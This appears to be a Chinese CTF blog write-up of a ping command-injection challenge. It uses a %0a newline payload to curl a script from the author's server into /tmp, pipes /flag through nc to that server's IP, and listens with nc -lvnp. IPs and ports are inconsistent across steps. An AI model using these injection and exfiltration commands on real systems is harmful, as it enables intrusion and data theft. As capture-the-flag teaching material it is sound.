服务器概心得


服务器连接概括心得


1.由题目可知

我们首先要ping一下 ip=xxxxxxxxx
在这里插入图片描述

2.在谷歌浏览器中

在这里插入图片描述

在这里插入图片描述

3.%0a是换行符,换行执行

在这里插入图片描述

题目给出的有严重的过滤。

4.打开我们的服务器

在这里插入图片描述
了解一下
cat命令
cat是Linux的基本文本输出命令,通常用于查看文件内容。
作用:连接多个文件并且打印到屏幕输出,或者重定向到其他文件,也可以用来查看显示单个文件,或者多个文件。

nc命令

nc在ctf一般用来反弹shell 传输文件
(在pwn中用来连接远程服务器运行的程序)

5.在我们的服务器里建一个2.sh文件,里面写着

在这里插入图片描述则:cat /flag | nc 我们服务器的ip 服务器监听端口
这句的意思

意思是c查看根目录下的flag
|命令是执行完前命令后执行后执行后面的命令
nc xx.xx.xxx.xx 5566是把发送到我们服务器监听的端口里

cat /flag | nc 47.93.123.22 5556

6.ip=127.0.0.1%0acurl 47.93.123.227/2.sh > /tmp/521.sh

这个意思是把我们服务器中的2.sh写入到该题中的服务器/tmp/521.sh中在这里插入图片描述
如果服务器中有这个文件则直接写入,否者在该题服务器中/tmp根目录下建立该文件。

7.一般写到/tmp文件夹下

一般写到/tmp文件夹下,因为/tmp文件夹一般权限比较大
其他文件夹可能没有写入的权限,

8.然后打开我们的服务器的端口监听

输入

 nc -lvnp 5666

在这里插入图片描述

9.然后使用运行这个文件

在这里插入图片描述
运行这个文件就是执行/tmp/521.sh
这个就是cat /flag | nc 47.93.123.22 5666

10.到我们的服务器监听端口中去看

在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值